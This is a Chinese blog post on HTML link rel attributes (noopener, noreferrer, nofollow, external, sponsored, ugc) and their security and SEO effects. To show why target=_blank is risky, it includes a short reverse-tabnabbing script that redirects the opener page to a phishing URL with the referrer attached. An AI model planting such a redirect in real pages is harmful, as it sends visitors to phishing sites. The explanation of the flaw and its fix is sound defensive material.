Posted in: html, 前端

a标签属性 rel=noopener noreferrer nofollow ugc target=_blank

a标签属性rel

<a href="https://quanzhan.co/" rel="nofollow noopener noreferrer" target='_blank'>luch的博客</a>
 rel="nofollow noopener noreferrer"
rel=”nofollow noopener noreferrer”

当你浏览一个页面点击一个a标签连接 <a href=”www.baidu.com” target=”_blank”> 跳转到另一个页面时,在新打开的页面(baidu)中可以通过 window.opener获取到源页面的部分控制权, 即使新打开的页面是跨域的也照样可以(例如 location 就不存在跨域问题)。  

a标签的rel属性通常用于表示当前文档与目标跳转文档之间的关系。其中有两个属性noopenernoreferrer,能够增强网站的安全性,与其他网站隔离。
对设置了target='_blank'属性的 a 标签而且跳转到外部网站的链接添加rel='noopener noreferrer'被认为是Best Practice

window.opener指向打开当前文档的文档,如果没有则为null。如果在当前文档打开一个新的文档,因为前一个文档被销毁所以window.opener也为null


使用window.open(url,'_blank')或者设置了target='_blank'属性的 a 标签在 A 文档打开一个新的标签页 B 文档时,此时 B 文档可以对A 文档进行有限的访问(如不能访问 DOM)且不受跨域的影响。但是即使是有限的访问权也造成了安全隐患,因为其可以访问location对象,这样在 B 文档就可以修改 A 文档 URL(例如高仿钓鱼网站,获取用户隐私信息)。
当我们对a标签元素设置rel=noopener后,浏览器则不会将当前文档对象传给其他源的文档,是我们的网站与其他 网站隔离,不受目标文档的控制。

在 Chrome 49+,Opera 36+,打开添加了 rel=noopener 的链接, window.opener 会为null。在老的浏览器中,可以使用 rel=noreferrer 禁用HTTP头部的Referer属性,使用下面JavaScript代替 target=’_blank’ 来解决此问题:

var otherWindow = window.open('http://www.baidu.com');
otherWindow.opener = null;
otherWindow.location = url;

1、什么是 noreferrer 标签?

noreferrer 标记在单击链接时隐藏引用者信息。如果有人从使用此标记的链接到达您的网站,您的分析将不会显示谁提到该链接。相反,它会错误地显示为您的统计流量报告中的直接流量。

我们知道当我们发起一个HTTP请求时,它会附带Referrer请求头来标识请求来源。当在 A 文档点击链接 B 文档时,请求 B 文档的请求头Referrer中会附带 A 文档的 URL 信息。
如果 B 文档属于外部文档,那么则存在外部安全隐患,例如原网站被黑,根据请求来源返回对应高仿钓鱼网页,从而窃取用户信息。
因此我们可以设置rel=noreferrer来避免Referrer信息的泄露。

<a href="http://other.site" target="_blank" rel="noreferrer">LINK</a>

2、什么是 noopener 标签?

rel =“noopener”在新标签中打开链接时基本上不会打开它的开启者。这意味着,它的 window.opener 属性将是在新标签中打开一个链接时,而不是从那里的链接打开同一个页面为空。

rel =“noopener”一般都是搭配 target=”_blank”同时使用,因为 target=”_blank” 也是一个安全漏洞:新的页面可以通过 window.opener 访问您的窗口对象,并且它可以使用 window.opener.location = newURL 将您的页面导航至不同的网址。新页面将与您的页面在同一个进程上运行,如果新页面正在执行开销极大的 JavaScript,您的页面性能可能会受影响。

当我们对a标签元素设置rel=noopener后,浏览器则不会将当前文档对象传给其他源的文档,是我们的网站与其他 网站隔离,不受目标文档的控制。

<a href="http://other.site" target="_blank" rel="noopener">LINK</a>

3、什么是nofllow标签?

它是告诉搜索引擎,不要将该链接计入权重。因此多数情况下,我们可以将一些不想传递权重的链接进行nofllow处理;例如一些非本站的链接,不想传递权重,但是又需要加在页面中的像 统计代码、备案号链接、供用户查询的链接等等。

rel=external nofollow
rel=external nofollow

除了rel=’nofollow’还有两种链接属性形式,一种是rel=’external’,另一种是rel=’external nofollow’。这两种分别代表什么意思呢?又有何区别呢?

rel=”external

此属性的意思是告诉搜索引擎,这个链接不是本站链接,其实作用相当于target=‘_blank’。

为什么要这样写呢?因为有些网站因为是采用严格的DOCTYPE声名的,如果你在网页源码中的第一行看到:

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” htt://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>

在这种情况下target=”_blank”会失效,因此采用rel=’external’这个参数来替代。

rel=”external nofollow

这个属性基本上是相当于将两种属性结合起来,大致可以解释为 “这个链接非本站链接,不要爬取也不要传递权重”。因此在SEO的角度来说,是一种绝对隔绝处理的方法,可以有效减少蜘蛛爬行的流失。

rel=”nofollow noopener noreferrer”

超链接 target=”_blank” 要增加 rel=”nofollow noopener noreferrer” 来堵住钓鱼安全漏洞。如果你在链接上使用 target=”_blank”属性,并且不加上rel=”noopener”属性,那么你就让用户暴露在一个非常简单的钓鱼攻击之下。

为了告知来自于不受保护的站点的用户,我们运行一个利用了这个缺陷的脚本。

if (window.opener) {
window.opener.location = "https://baidd.co/phishing?referrer="+document.referrer;
}

我相信绝大多数站点都没有恰当地处理这个问题,为了限制 window.opener的访问行为,原始页面需要在每个使用了target=”_blank”的链接中加上一个rel=”noopener”属性。

然而,火狐不支持这个属性值,所以实际上你要用 rel=”noopener noreferrer”来完整覆盖。

nofollow、noopener 和 noreferrer 标签对SEO 有什么影响?

这是许多博主站长们关心的问题,因为大家都知道 nofollow 标签会影响 Google 等搜索引擎的抓取和索引链接以及传递 PageRank 的能力,所以大家都比较担心 noopener 标签和 noreferrer 标签也会这样做。

其实,noopener 标签和 noreferrer 标签对 SEO 没有任何影响。简而言之,它们运行在分析/浏览器级别,而不是搜索引擎级别。虽然在监控反馈流量方面存在严重问题,但它不会影响站点内容的索引、抓取或排名方式

Google引入了两个新的链接属性(rel=”sponsored”和rel=”ugc”),这些属性为SEO优化人员提供了其他方法来帮助Google了解链接的性质。

rel =”sponsored”

使用Sponsored属性可以识别网站上作为广告,赞助或其他补偿协议的一部分而创建的链接。

rel =”ugc”

UGC代表用户生成的内容,建议将ugc属性值用于用户生成的内容内的链接,例如评论和论坛帖子。

rel =”nofollow”

如果您想链接到某个页面,但又不想将权重传递给另一个页面,请使用此属性。

常问问题:

我需要更改现有的nofollows吗?

不需要。如果您现在使用nofollow来阻止赞助者链接或评论链接,Google会继续支持该链接。不需要更改任何已有的nofollow链接。但是Google建议在适当的时候切换到spondered属性。

我仍然需要标记广告或赞助商链接吗?

是。如果要避免可能发生的链接方案操作,请使用rel =”sponsored”或rel =”nofollow”标记这些链接。建议您使用rel =”sponsored”。

sponsored和ugc可以同时使用吗?

可以的,单个链接上可以使用多个属性。例如,对于出现在用户生成的内容中的赞助商链接,使用rel=”ugc spondered”是完全可以的。

谷歌现在是否认可rel=”sponsored”,rel=”ugc”

认可。rel=”sponsored”,rel=”ugc”这两个链接属性,自2019年9月发布之日就已经生效了。现在完全可以使用。

扩展阅读:链接类型及其在 HTML 中的意义

整理自:https://wosn.net/725.html

整理自:https://www.dazhuanlan.com/2020/01/02/5e0d46202b8a8/

整理自:http://www.6ke.com.cn/seoxuetang/gjcpm/2020/0122/33966.html